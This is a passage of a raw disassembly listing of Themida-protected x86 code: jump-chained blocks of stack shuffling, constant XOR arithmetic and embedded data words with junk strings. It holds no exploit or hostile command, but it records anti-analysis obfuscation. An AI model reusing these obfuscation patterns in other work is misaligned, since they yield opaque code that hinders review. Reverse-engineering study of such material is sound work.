80h dd 0F180D6E9h, 2F1807Dh, 34FFCB00h, 68575924h, 4D3Bh, 0E9242489h dd 9798h ; --------------------------------------------------------------------------- loc_58A890: ; CODE XREF: Themida_:00591EF7j mov [esp], cx mov cl, 75h jmp loc_594371 ; --------------------------------------------------------------------------- db 5Fh dd 33240C31h, 0C31240Ch, 3F5BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A8AA: ; CODE XREF: Themida_:0058C371j push edx sub esp, 4 mov [esp], eax jmp loc_591D61 ; --------------------------------------------------------------------------- db 80h, 0E9h, 8Bh dd 6659C830h, 665C8D68h, 0B6241489h, 8C67E9D9h, 0C8B0000h dd 0E2895224h, 4C281h, 0C2830000h, 68FFE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A8E2: ; CODE XREF: Themida_:00592134j add esp, 4 push eax push esi mov esi, 6DD02ED4h xor esi, 432B000Bh sub esi, 1 jmp loc_58CDB3 ; --------------------------------------------------------------------------- dw 0EE80h dd 5AF78897h, 90B05066h, 8B66C228h, 30E92404h, 0F600001Ah dd 45EF80D7h, 5E45E9h db 0 ; --------------------------------------------------------------------------- loc_58A919: ; CODE XREF: Themida_:0058F7E3j add edx, edi push dword ptr [edx] pop ecx mov edx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 push ecx mov ecx, 4 jmp loc_593973 ; --------------------------------------------------------------------------- loc_58A946: ; CODE XREF: Themida_:00592E81j push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_5949C1 ; --------------------------------------------------------------------------- aBsOypscq db 'αΘOypιcq',0 dw 5A00h dd 5B5AD689h, 0CB69C02Dh, 55F00145h, 0C80015BDh, 5783E906h dd 0E9010000h, 2FF8E95Dh, 8B660000h, 0B0682404h, 89000053h dd 0E789243Ch, 1AD2E956h, 0C4810000h, 4, 0E9525166h, 0B14Ah ; --------------------------------------------------------------------------- loc_58A9A0: ; CODE XREF: Themida_:0058B2F0j mov ecx, [esp] jmp loc_58B983 ; --------------------------------------------------------------------------- loc_58A9A8: ; CODE XREF: Themida_:00594BA7j add edx, ebp add edx, 5B8A3F89h push dword ptr [esp] pop ebp add esp, 4 jmp loc_58E875 ; --------------------------------------------------------------------------- dd 0F40D0F7h, 4BFB89h, 36FAE900h, 0EB810000h, 2C425684h dd 48B665Ah, 5D545524h, 8904EC83h, 48BE2434h, 0C12E596Bh dd 0EE8104E6h, 0E596B47Ch, 0D7E9F501h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58A9F3: ; CODE XREF: Themida_:0058D563j add bl, 76h shr bl, 5 jns loc_59611D shl bl, 1 jmp loc_58D919 ; --------------------------------------------------------------------------- dw 0C15Eh dd 0E95702E8h, 5E56h, 24048B66h, 3A40E955h, 81530000h dd 6F2404h, 348B1E6Ch, 4C48124h, 0E9000000h, 83BEh, 6802EAC1h dd 6CAh, 0BB241C89h, 1E512081h, 815BDA31h, 0CF69C9C2h dd 9BC681D6h, 0E9296761h, 0B1ECh, 813C77FFh, 4ECh, 241C8900h dd 5DD06857h, 0F75F1D58h, 3B9AE9DFh, 565A0000h, 0C681E689h dd 4, 4BA52h, 0D6010000h, 2434875Ah, 93E5E95Ch, 0DBF70000h dd 28D9C381h, 0D9017CE2h, 6769E9h db 0 ; --------------------------------------------------------------------------- loc_58AA99: ; CODE XREF: Themida_:00592A35j mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 5C760B6Eh xor edi, 5C760B6Ah add ecx, edi push dword ptr [esp] pop edi add esp, 4 add ecx, 2 xchg ecx, [esp] mov esp, [esp] movzx cx, al jmp loc_58F892 ; --------------------------------------------------------------------------- loc_58AADC: ; CODE XREF: Themida_:0058C331j mov ecx, 6C487D9Ah xor [esp+4], ecx jmp loc_5966EA ; --------------------------------------------------------------------------- dw 0C9B2h dd 305AD088h, 24048BC3h, 0E904C483h, 0AE9Bh ; --------------------------------------------------------------------------- loc_58AAFC: ; CODE XREF: Themida_:0058AF39j add esp, 4 push edx mov edx, 18B84FD6h add ebx, edx pop edx sub ebx, ebp push esi mov esi, 184E24F4h shr esi, 2 add esi, 62A96D8Ah jmp loc_58AD7F ; --------------------------------------------------------------------------- db 0Dh, 0DEh, 11h dd 0DA353935h, 139BF31h, 0BB5358C1h, 4, 0E89E9h, 54AB6800h dd 0C890000h, 0F788E924h, 0C380FFFFh, 66C328E6h, 9C5FE951h dd 0C2830000h, 24148704h, 368665Ch, 1C89667Bh, 0D2BB6624h dd 1F056657h, 81AAE924h, 815A0000h, 275335CDh, 0DDF74571h dd 2CBFED81h, 0F5817759h, 1A283039h, 5E5DE801h, 8704C083h dd 248B2404h, 81F1F724h, 4ECh, 240C8900h, 0B968E189h, 89000026h dd 0FABE2434h, 5563603Eh, 0CB55B9BDh, 81DDF70Eh, 0BD03A0EDh dd 45DDF753h, 2667F581h, 0EE2110EBh, 8E6C15Dh, 8104E6C1h dd 746073E6h, 7DBD5519h, 0E931CA7Bh, 0C159h, 0CD5BBBB8h dd 58C3312Ah, 0CC9EE9h db 0 ; --------------------------------------------------------------------------- loc_58ABE9: ; CODE XREF: Themida_:00595DB1j push esi pop edx pop esi mov ecx, edx jmp loc_58DFA0 ; --------------------------------------------------------------------------- db 66h dd 5624048Bh, 24348B54h, 4C481h, 0E9570000h, 0D1AAh, 0BD242C89h dd 4, 8E9EB29h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_58AC17: ; CODE XREF: Themida_:loc_59781Dj shr al, 7 shr al, 3 jp loc_595318 xor al, 0F6h push ebx mov bl, al jmp loc_58D8B7 ; --------------------------------------------------------------------------- db 5Bh, 88h, 0F7h dd 6FC5815Ah, 0F3F4858h, 0A38884h, 8C0F4D00h, 0AF80h, 748C0F45h dd 0E9000005h, 3E7Ch ; --------------------------------------------------------------------------- loc_58AC50: ; CODE XREF: Themida_:loc_597D69j shl esi, 2 jmp loc_5962DA ; --------------------------------------------------------------------------- loc_58AC58: ; CODE XREF: Themida_:005956CAj push 3DAC3A88h mov esi, [esp] add esp, 4 push edx mov edx, 2C437814h and edx, 522D5BC8h shr edx, 4 push ebp mov ebp, 65032797h add ebp, 7FF34378h sub ebp, 0A74A4705h add edx, ebp jmp loc_590658 ; --------------------------------------------------------------------------- loc_58AC8B: ; CODE XREF: Themida_:005919D5j mov [esp], edx push ebx jmp loc_58CB89 ; --------------------------------------------------------------------------- dd 8B240C87h, 89662424h, 2BE92404h, 81FFFFF6h, 19F207EAh dd 8BD001E1h, 54522414h, 68E3E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58ACB6: ; CODE XREF: Themida_:0058E271j ; Themida_:005910C2j pop eax add esi, 4 xchg esi, [esp] pop esp dec dword ptr [esp] pushf jmp loc_597F6B ; --------------------------------------------------------------------------- dw 5BFh dd 2926D52Ch, 0E94B5FFBh, 1F23h, 9319ED81h, 0EA01305Ch dd 46EAE95Dh, 48F0000h, 100BE924h, 0E9510000h, 0B8E4h ; --------------------------------------------------------------------------- loc_58ACF4: ; CODE XREF: Themida_:00591409j xor cl, 66h add bl, cl pop ecx movzx eax, al lea eax, [edi+eax*4] jmp loc_596D28 ; --------------------------------------------------------------------------- db 88h, 0CEh, 59h dd 1669E9h, 240C8700h, 3AE4E9h, 5E545600h, 4C681h, 0BF570000h dd 2, 34FFFE01h, 9670E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58AD2E: ; CODE XREF: Themida_:0058B0A5j ; Themida_:0058C0D3j add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ebp, 7F2BBDB9h sub ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_58F609 ; --------------------------------------------------------------------------- loc_58AD53: ; CODE XREF: Themida_:00591FD3j sub ecx, 0BB2A04F5h jmp loc_597716 ; --------------------------------------------------------------------------- loc_58AD5E: ; CODE XREF: Themida_:00591F7Bj push eax push 428Fh jmp loc_58B3CA ; --------------------------------------------------------------------------- loc_58AD69: ; CODE XREF: Themida_:00597501j inc cl add cl, 0C2h xor cl, 0B6h jmp loc_58EC96 ; --------------------------------------------------------------------------- dw 895Ch dd 2FE92404h db 0CBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58AD7F: ; CODE XREF: Themida_:0058AB1Cj dec esi jmp loc_58B41B ; --------------------------------------------------------------------------- aNsM db 'ιΗM',0 dw 0BE00h dd 0DDE0AD60h, 815EF201h, 4ECh, 24148900h, 0A10BF57h, 7C313CF6h dd 3C8B0424h, 4C48124h, 8B000000h, 0C483241Ch, 10F38104h dd 8B3CF60Ah, 0C4812414h, 4, 24048B50h, 0D768h, 243C8900h dd 0BB53E789h, 20CA5D1Dh, 0A2E7C381h, 0DF01DF35h, 4BB535Bh dd 0E9000000h, 8737h ; --------------------------------------------------------------------------- loc_58ADEC: ; CODE XREF: Themida_:00596EE3j pop eax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58ADF2: ; CODE XREF: Themida_:0058BAF5j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_58C320 ; --------------------------------------------------------------------------- db 8Fh dd 4832404h, 68590424h, 45F6h, 0BD242C89h, 605B1385h, 2ED1E9h dd 81F72900h, 945948C7h, 24348B46h, 4C481h, 0F8010000h dd 2ED1E95Fh, 8B590000h, 0C481241Ch, 4, 2AA9E9h, 0BD555600h dd 30444E37h, 685DEE89h, 0 dd 0FF243429h, 815E2434h, 4C4h, 20BD5500h, 152AA39h, 0C6815DEEh dd 73B8716Ch, 2974C681h, 6FE9635Ah, 5900001Ah, 1875488h dd 241C8B5Ah, 0E904C483h, 0FFFFF43Eh ; --------------------------------------------------------------------------- loc_58AE90: ; CODE XREF: Themida_:005928F9j pop ebp pop eax add eax, 4 jmp loc_58E931 ; --------------------------------------------------------------------------- loc_58AE9C: ; CODE XREF: Themida_:00591ABDj mov ebx, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] movzx ecx, ax push 21BFh mov [esp], ecx jmp loc_58A2CE ; --------------------------------------------------------------------------- dd 463D2D48h, 0E8C148BAh, 11054805h, 520095Bh, 309DB1ABh dd 18E9C789h, 53000095h, 0E9529CBBh, 4E3C110h, 0C6F7840Fh dd 0BA520000h, 1D286027h, 0F702EAC1h, 0B3B951DAh, 1345C4Eh dd 0EAD159CAh, 0EA81DAF7h, 0A786B5D2h, 0C15AD321h, 0BE5604E3h dd 77CD8E05h, 555EF331h, 0E889DD89h, 0C03E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58AF1A: ; CODE XREF: Themida_:00591F1Dj pop esp mov [esp], ebx sub esp, 4 mov [esp], ecx mov cl, 6Bh mov bh, cl jmp loc_595E4C ; --------------------------------------------------------------------------- loc_58AF30: ; CODE XREF: Themida_:00590067j pop esi mov ecx, eax pop eax sub ebp, ecx mov ecx, [esp] jmp loc_58AAFC ; --------------------------------------------------------------------------- loc_58AF3E: ; CODE XREF: Themida_:00590EA0j xor [esp+4], ebx pop ebx push dword ptr [esp] mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 push ebp mov ebp, 50247E69h push ebx mov ebx, 345E6392h dec ebx xor ebx, 417867F5h push ebp jmp loc_5978F6 ; --------------------------------------------------------------------------- loc_58AF7B: ; CODE XREF: Themida_:0058EF1Fj add esp, 4 pop small word ptr [eax] jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 0EE81h dd 0E29FBBBAh, 815EF789h, 0E56FF4E7h, 0FB880F2Eh, 81FFFFF6h dd 0D37D82CFh, 5FA6680Fh, 14890000h, 394EBA24h, 0E28117CCh dd 25F72DA4h, 18B2EA81h, 0A8E9CC15h, 810000A1h, 4C6h, 24348700h dd 0E924248Bh, 0FFFFF2FEh ; --------------------------------------------------------------------------- loc_58AFD0: ; CODE XREF: Themida_:00597F9Fj add ebx, 26473568h jmp loc_58F7ED ; --------------------------------------------------------------------------- loc_58AFDB: ; CODE XREF: Themida_:0059084Aj mov bl, 0A9h jmp loc_58D919 ; --------------------------------------------------------------------------- loc_58AFE2: ; CODE XREF: Themida_:0058CFF4j push dword ptr [esp] jmp loc_59653F ; --------------------------------------------------------------------------- loc_58AFEA: ; CODE XREF: Themida_:005972B7j bt [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58AFF5: ; CODE XREF: Themida_:00596D09j mov ecx, 0A08ED1AFh sub ecx, esi pop esi push ebp mov ebp, 2ABD5B43h mov esi, ebp jmp loc_59178F ; --------------------------------------------------------------------------- loc_58B00A: ; CODE XREF: Themida_:00595AD7j mov ecx, esi mov esi, [esp] jmp loc_58D0BC ; --------------------------------------------------------------------------- dd 0E904EC83h, 0EDh ; --------------------------------------------------------------------------- loc_58B01C: ; CODE XREF: Themida_:00590D7Aj mov [esp], esi jmp loc_59033C ; --------------------------------------------------------------------------- dd 2C3D6866h, 658E6866h, 24248966h, 705B6866h, 240C8966h dd 28E95266h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B03F: ; CODE XREF: Themida_:005953AEj push ebx push esi jmp loc_58F51B ; --------------------------------------------------------------------------- loc_58B046: ; CODE XREF: Themida_:00592062j sub esi, 15C7E415h jmp loc_591E27 ; --------------------------------------------------------------------------- a34Suk db '34$ιγͺ',0 dd 88B85000h, 5108E651h, 0DC6C4FB9h, 9CF1811Ch, 0E9107346h dd 111Ah, 4C481h, 1C330000h, 241C3124h, 5C241C33h, 0C3DE9h db 0 ; --------------------------------------------------------------------------- loc_58B085: ; CODE XREF: Themida_:0058E502j mov edx, ecx pop ecx add edx, 0E36DF7FAh add ebx, edx jmp loc_58F748 ; --------------------------------------------------------------------------- loc_58B095: ; CODE XREF: Themida_:0058CA24j js loc_59203B inc ecx jg loc_5945E0 shl ecx, 6 jmp loc_58AD2E ; --------------------------------------------------------------------------- loc_58B0AA: ; CODE XREF: Themida_:00590808j push 6B68h mov [esp], esi push esp jmp loc_58F0C2 ; --------------------------------------------------------------------------- loc_58B0B8: ; CODE XREF: Themida_:005973B4j add esp, 4 or edi, 72974E0Ah push ecx mov ecx, 4D383F75h or ecx, 32E01353h xor ecx, 70B47000h xor edi, ecx jmp loc_5959A4 ; --------------------------------------------------------------------------- dw 0A22Ch dd 83241C8Bh, 0B55104C4h, 0FFE8289Dh, 56592434h, 8904EC83h dd 0B8502424h, 4, 4246C81h, 26836A92h, 4244401h, 0FFFBE5E9h dd 243C89FFh, 482DE9h, 24348100h, 6EC6244Dh, 197DE9h, 2434FF00h dd 0E9240C8Bh, 6A0Dh ; --------------------------------------------------------------------------- loc_58B128: ; CODE XREF: Themida_:0058FE0Fj push 40D37A09h jmp loc_597FCA ; --------------------------------------------------------------------------- loc_58B132: ; CODE XREF: Themida_:00592BA4j xor ebp, 707872DFh xor ebp, 7A46618Ch add esi, ebp pop ebp jmp loc_591453 ; --------------------------------------------------------------------------- loc_58B146: ; CODE XREF: Themida_:0059790Aj push eax mov eax, 7B8E27D0h shl eax, 8 jmp loc_58D946 ; --------------------------------------------------------------------------- loc_58B154: ; CODE XREF: Themida_:00591B48j pop eax mov ecx, [esp] jmp loc_58ECCD ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHO db '$h=o',0 align 2 dw 3C89h dd 81E78924h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0E389241Ch dd 9A43E9h, 2C78100h, 0E9000000h, 6376h ; --------------------------------------------------------------------------- loc_58B190: ; CODE XREF: Themida_:0058B5BDj dec esi add esi, 6AFA2F86h add esi, 5434DBB6h sub edx, esi pop esi mov ecx, [esp] add esp, 4 mov dword ptr [edi+20h], 3EDF178Bh xor [edi+20h], edx mov edx, [esp] jmp loc_58D0EB ; --------------------------------------------------------------------------- loc_58B1B8: ; CODE XREF: Themida_:0058B6C7j add eax, ebx jmp loc_58DB81 ; --------------------------------------------------------------------------- aSgo db '^ιG',0 db 0 ; --------------------------------------------------------------------------- loc_58B1C5: ; CODE XREF: Themida_:0058FD04j shr ecx, 2 push eax mov eax, esp add eax, 4 jmp loc_58E378 ; --------------------------------------------------------------------------- loc_58B1D5: ; CODE XREF: Themida_:0058E3AFj add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] add edx, 169B1BB5h push edi mov edi, 55F74DD2h or edi, 5C76E09h and edi, 2BFC7562h add edi, 47B67286h jmp loc_58CC4B ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 54240C89h, 4C18159h, 52000000h, 0EDFE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B21A: ; CODE XREF: Themida_:0059464Fj pop edi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_58DA90 ; --------------------------------------------------------------------------- loc_58B22C: ; CODE XREF: Themida_:loc_593E3Fj not esi or esi, 395B5D5Eh jmp loc_597D69 ; --------------------------------------------------------------------------- loc_58B239: ; CODE XREF: Themida_:0058D2E8j xor eax, ebp sub esp, 4 mov [esp], ecx jmp loc_591237 ; --------------------------------------------------------------------------- loc_58B249: ; CODE XREF: Themida_:00593C33j mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58B27B: ; CODE XREF: Themida_:00591CD6j neg ebx or ebx, 4C66237h and ebx, 19001798h xor ebx, 100121Ah sub edi, ebx pop ebx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], cx jmp loc_58A2CE ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0F020E95Ch, 8F66FFFFh, 0F018E902h, 8F5FFFFFh, 248B2404h dd 243CD324h, 0F008E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B2C6: ; CODE XREF: Themida_:00594616j pop eax xchg esi, [esp] jmp loc_596737 ; --------------------------------------------------------------------------- loc_58B2CF: ; CODE XREF: Themida_:00596C82j add [esp+8], ebx pop ebx sub dword ptr [esp+4], 325B6517h sub [esp+4], ecx add dword ptr [esp+4], 325B6517h sub dword ptr [esp+4], 675C3153h jmp loc_58A9A0 ; --------------------------------------------------------------------------- db 66h, 58h, 0E9h dd 0FFFFF84Ah ; --------------------------------------------------------------------------- loc_58B2FC: ; CODE XREF: Themida_:0058DEFCj mov [esp], esi mov eax, [esp] add esp, 4 push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 not esi xor eax, esi xor esi, eax xor eax, esi jmp loc_58F693 ; --------------------------------------------------------------------------- loc_58B321: ; CODE XREF: Themida_:0058D49Aj ; Themida_:0058EA32j ... push dword ptr [edi+24h] push dword ptr [esp] mov ecx, [esp] add esp, 4 push edx mov edx, esp push edi mov edi, 6701359Ch inc edi shl edi, 1 xor edi, 6DB763B2h push edx mov edx, 7BF93838h xor edx, 59A96F21h shl edx, 7 sub edx, 847683F4h xor edi, edx pop edx add edx, 616A2719h jmp loc_594675 ; --------------------------------------------------------------------------- loc_58B365: ; CODE XREF: Themida_:0058BBA2j inc ebp not ebp inc ebp jg loc_595411 inc ebp jo loc_592150 jmp loc_597974 ; --------------------------------------------------------------------------- loc_58B37B: ; CODE XREF: Themida_:0058DA44j and bh, 8 jmp loc_596A1D ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 4C6815Eh, 0E9000000h, 0A783h ; --------------------------------------------------------------------------- loc_58B398: ; CODE XREF: Themida_:005974BBj mov [esp], edx not dword ptr [esp] pop edx jmp loc_59047B ; --------------------------------------------------------------------------- loc_58B3A4: ; CODE XREF: Themida_:0058C9A1j mov ax, [esp] push ebp push 3700h mov [esp], esp add dword ptr [esp], 4 jmp loc_59346E ; --------------------------------------------------------------------------- loc_58B3BD: ; CODE XREF: Themida_:0058E865j xor [esp], ebx xor ebx, [esp] pop esp push ebp jmp loc_58CD63 ; --------------------------------------------------------------------------- loc_58B3CA: ; CODE XREF: Themida_:0058AD64j mov [esp], esp sub esp, 4 mov [esp], eax mov eax, 21421DB6h inc eax jns loc_58D739 xor eax, 21421DB3h add [esp+4], eax pop edi sub eax, ebx jmp loc_596325 ; --------------------------------------------------------------------------- loc_58B3F0: ; CODE XREF: Themida_:005972F3j jmp loc_590363 ; --------------------------------------------------------------------------- loc_58B3F5: ; CODE XREF: Themida_:loc_597CC8j jmp loc_58FE39 ; --------------------------------------------------------------------------- loc_58B3FA: ; CODE XREF: Themida_:00597986j xchg esi, ebp inc esi xor ebp, esi xor esi, ebp xor ebp, esi push ebx mov ebx, 0A49ACF6Dh sub ebp, ebx mov ebx, [esp] add esp, 4 and eax, ebp push dword ptr [esp] jmp loc_58E06E ; --------------------------------------------------------------------------- loc_58B41B: ; CODE XREF: Themida_:0058AD80j add esi, 0AFFB5910h jmp loc_58F65B ; --------------------------------------------------------------------------- loc_58B426: ; CODE XREF: Themida_:0058EAE7j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp mov ebp, 2 add edx, ebp pop ebp xchg edx, [esp] pop esp idiv cx jmp loc_5916A2 ; --------------------------------------------------------------------------- loc_58B44B: ; CODE XREF: Themida_:0058CA73j mov [esp], eax push edx mov edx, 522D2B67h push ebp mov ebp, 502B22A5h sub ebp, 131A2D21h xor ebp, 55B6382h add ebp, 4DDCAD47h sub edx, 7C1C1E4Ch sub edx, 1DD55839h sub edx, ebp add edx, 1DD55839h add edx, 7C1C1E4Ch pop ebp mov eax, edx pop edx xor edi, eax pop eax jmp loc_5902C7 ; --------------------------------------------------------------------------- aRwsrl db 'RWιr',0 db 0 ; --------------------------------------------------------------------------- loc_58B499: ; CODE XREF: Themida_:005977EDj mov dl, 30h add dl, 1 add dl, 0FFh push cx mov ch, 0F8h sub dl, ch mov cx, [esp] add esp, 2 sub al, 0EAh add al, dl push ebx jmp loc_58C5FB ; --------------------------------------------------------------------------- loc_58B4BB: ; CODE XREF: Themida_:0058D772j push ecx mov ch, 0D3h xor al, ch pop ecx push eax mov eax, esp add eax, 4 jmp loc_5919CC ; --------------------------------------------------------------------------- loc_58B4CE: ; CODE XREF: Themida_:00595698j pop ebx sub edi, esi jmp loc_58F9E1 ; --------------------------------------------------------------------------- loc_58B4D6: ; CODE XREF: Themida_:0058CD2Aj push ebp mov ebp, 14ED13B8h inc ebp jmp loc_59618F ; --------------------------------------------------------------------------- aRsA db 'Rι΅',0 align 4 loc_58B4E8: ; CODE XREF: Themida_:00596F43j sub edi, 6A6A1FC9h jmp loc_592033 ; --------------------------------------------------------------------------- db 89h dd 19E92424h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B4FB: ; CODE XREF: Themida_:005902C2j push edi mov edi, esp add edi, 4 jmp loc_590B96 ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C7h dd 97A6E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B512: ; CODE XREF: Themida_:00595B8Dj sub eax, 4F01671Bh pop edx mov edi, eax jmp loc_591B9A ; --------------------------------------------------------------------------- loc_58B51F: ; CODE XREF: Themida_:0059480Dj mov eax, 39A21CB1h jmp loc_59165A ; --------------------------------------------------------------------------- db 5Bh, 0F7h, 0D9h dd 3C5AE9h db 0 ; --------------------------------------------------------------------------- loc_58B531: ; CODE XREF: Themida_:00591FF0j push 788Eh mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_592FB9 ; --------------------------------------------------------------------------- loc_58B549: ; CODE XREF: Themida_:0058D899j inc ebx not ebx xor ebx, 72707595h not ebx shl ebx, 1 sub ebx, 0BF369E06h and edx, ebx pop ebx not edx jmp loc_591B3D ; --------------------------------------------------------------------------- dw 885Ah dd 805B66FCh, 69E9F7ECh, 810000B1h, 1111A4C7h, 5FFB89EFh dd 51E9DF09h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B583: ; CODE XREF: Themida_:00590DBAj pop esp push esi mov esi, esp jmp loc_58D434 ; --------------------------------------------------------------------------- dd 697268h, 8808E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B596: ; CODE XREF: Themida_:00591E8Cj mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_59183E ; --------------------------------------------------------------------------- db 89h dd 5EF089DEh, 0B83CE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B5BA: ; CODE XREF: Themida_:0058CEACj shl esi, 5 jmp loc_58B190 ; --------------------------------------------------------------------------- loc_58B5C2: ; CODE XREF: Themida_:005919F2j mov edx, edi pop edi push esi mov esi, 329722B5h shl esi, 2 add esi, 68F3771Fh push esi not dword ptr [esp] pop esi push ebp push esi mov esi, 5C733014h add esi, 45003A12h js loc_58CBD1 add esi, 0C9A36DB7h jmp loc_58D36C ; --------------------------------------------------------------------------- db 5Bh ; --------------------------------------------------------------------------- loc_58B5F8: ; CODE XREF: Themida_:00592E02j not edi sub edi, 37CF693Bh jmp loc_59470C ; --------------------------------------------------------------------------- loc_58B605: ; CODE XREF: Themida_:00594DA4j mov ecx, esp add ecx, 4 jmp loc_5911B2 ; --------------------------------------------------------------------------- dw 248Bh dd 24043024h, 0A74CE99Ch, 0EC830000h, 24148904h, 0E955E289h dd 50A8h ; --------------------------------------------------------------------------- loc_58B62C: ; CODE XREF: Themida_:005936E6j push ecx jmp loc_593A52 ; --------------------------------------------------------------------------- loc_58B632: ; CODE XREF: Themida_:00594399j pop ebx sub al, dh push bx jmp loc_58CC90 ; --------------------------------------------------------------------------- aS_4 db '[ιΧ$',0 align 2 dw 0B951h dd 4, 361ED81h, 0CD010DF2h, 361C581h, 68590DF2h, 0F8Fh dd 1D97E9h, 0A3685300h, 89000000h, 5EE9240Ch, 88000077h dd 0FEF0E9F7h, 0E9C1FFFFh, 87BE5608h, 0E90057BBh, 6761h dd 38F2815Bh, 0E9562A25h, 5C24h ; --------------------------------------------------------------------------- loc_58B690: ; CODE XREF: Themida_:0058F5BBj mov [esp], edi sub esp, 4 jmp loc_59080D ; --------------------------------------------------------------------------- loc_58B69B: ; CODE XREF: Themida_:0058F4EFj xchg edx, ecx push esi mov esi, 8DCE6953h sub ecx, esi mov esi, [esp] add esp, 4 jmp loc_5965CD ; --------------------------------------------------------------------------- loc_58B6B0: ; CODE XREF: Themida_:005949FFj push ecx mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_597076 ; --------------------------------------------------------------------------- loc_58B6C0: ; CODE XREF: Themida_:0058DF56j pop esi xor ebx, 3365F014h jmp loc_58B1B8 ; --------------------------------------------------------------------------- dd 83240C8Bh, 0BE904C4h, 1000076h, 24348BF1h, 42DFE9h db 0 ; --------------------------------------------------------------------------- loc_58B6E1: ; CODE XREF: Themida_:0058E700j add eax, 4 xchg eax, [esp] pop esp jmp loc_595B44 ; --------------------------------------------------------------------------- loc_58B6EF: ; CODE XREF: Themida_:0058E244j pop ebp xor edi, [esp] xor [esp], edi jmp loc_58EB02 ; --------------------------------------------------------------------------- db 5Eh dd 3C8BFA89h, 4C48124h, 5000000h, 7AF3E5Fh, 8F58B32Dh dd 5D02918h, 188F58B3h, 0AF3E5F2Dh, 2434FF07h, 4C4815Ah dd 0E9000000h, 2589h ; --------------------------------------------------------------------------- loc_58B72C: ; CODE XREF: Themida_:0058A83Aj ja loc_58DA9F inc dl jmp loc_5947DC ; --------------------------------------------------------------------------- db 0C0h, 0ECh, 7 dd 0E906E4C0h, 3BD0h, 468h, 0D8015B00h, 42D5Bh, 4330000h dd 4898E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B75A: ; CODE XREF: Themida_:0058E782j mov [esp], dx push ecx push ebx jmp loc_5961A0 ; --------------------------------------------------------------------------- loc_58B765: ; CODE XREF: Themida_:005957F8j xor eax, 335D4884h jno loc_593E59 sub eax, 36DA3842h push edx mov edx, eax mov ecx, edx jmp loc_59489A ; --------------------------------------------------------------------------- loc_58B77F: ; CODE XREF: Themida_:00597BFFj xchg edi, [esp] mov esp, [esp] mov [esp], esi mov esi, 4 add edx, 56F019D2h add edx, esi sub edx, 56F019D2h jmp loc_593EAE ; --------------------------------------------------------------------------- dd 525EF301h, 1E4B6857h, 815F24A2h, 0BE25EDE7h, 81DFF736h dd 0F9756EFh, 0AA1AE9ABh, 0C2810000h, 4, 0FFF389E9h db 0FFh ; --------------------------------------------------------------------------- loc_58B7C9: ; CODE XREF: Themida_:0058EB37j xchg esi, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_58F64B ; --------------------------------------------------------------------------- dd 8324148Bh, 57E904C4h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B7E3: ; CODE XREF: Themida_:00595ED3j add esi, 88DA8991h add eax, esi pop esi add edx, eax pop eax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58B7F4: ; CODE XREF: Themida_:005942DEj push edx pop ecx pop edx push edx mov edx, 24h add edx, edi jmp loc_590699 ; --------------------------------------------------------------------------- loc_58B804: ; CODE XREF: Themida_:005906FCj div cx push ebp jmp loc_596013 ; --------------------------------------------------------------------------- db 31h, 6Ch, 24h dd 815B5D04h, 4A3494F3h, 815F5D38h, 0C804246Ch, 296DEE53h dd 0E904245Ch, 1FB5h, 44CFC681h, 0E9593879h, 0FFFFEA9Ch dd 64563068h, 0F8315F7Fh, 3234E9h db 0 ; --------------------------------------------------------------------------- loc_58B845: ; CODE XREF: Themida_:0058BA47j ; Themida_:00590B8Ej shr edx, 2 add edx, 5795110Ah push ebx jmp loc_596BE6 ; --------------------------------------------------------------------------- dd 0AA1E47BEh, 0B3E6813Ah, 0F621A19h, 